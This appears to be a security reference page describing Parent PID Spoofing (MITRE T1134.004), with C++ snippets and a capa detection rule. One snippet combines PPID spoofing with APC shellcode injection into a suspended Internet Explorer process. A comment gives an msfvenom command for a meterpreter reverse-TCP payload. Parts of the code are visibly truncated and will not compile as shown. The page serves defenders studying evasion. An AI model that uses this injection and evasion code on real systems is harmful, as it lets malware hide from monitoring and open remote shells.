Parent PID Spoofing

Created the Tuesday 27 July 2021. Updated 1 year, 2 months ago.

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified.

One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use. This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment. This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.

Technique Identifiers

U1234 T1134.004

Code Snippets

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main() 
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD getParentProcessID() {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process = { 0 };
	process.dwSize = sizeof(process);

	if (Process32First(snapshot, &process)) {
		do {
            		//If you want to another process as parent change here
			if (!wcscmp(process.szExeFile, L"explorer.exe"))
		} while (Process32Next(snapshot, &process));

	return process.th32ProcessID;

int main() {

	//Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c
	unsigned char shellCode[] = "";

	SIZE_T sizeT;

	HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());

	ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
	InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
	sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
	InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
	UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
	sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);

	LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	SIZE_T *lpNumberOfBytesWritten = 0;
	BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);

	QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);

	return 0;

Detection Rules

    name: spoof parent PID
    namespace: anti-analysis/anti-forensic
    scope: basic block
      - Defense Evasion::Access Token Manipulation::Parent PID Spoofing [T1134.004]
      - 2ebadd04f0ada89c36c1409b6e96423a68dd77b513db8db3da203c36d3753e5f:0x140002291
    - and:
      - api: kernel32.UpdateProcThreadAttribute

Additional Resources

External Links

Subscribe to our Newsletter

The information entered into this form is mandatory. It will be subjected to computer processing. It is processed by computer in order to support our users and readers. The recipients of the data will be :

According to the Data Protection Act of January 6th, 1978, you have at any time, a right of access to and rectification of all of your personal data. If you wish to exercise this right and gain access to your personal data, please write to Thomas Roccia at

You may also oppose, for legitimate reasons, the processing of your personal data.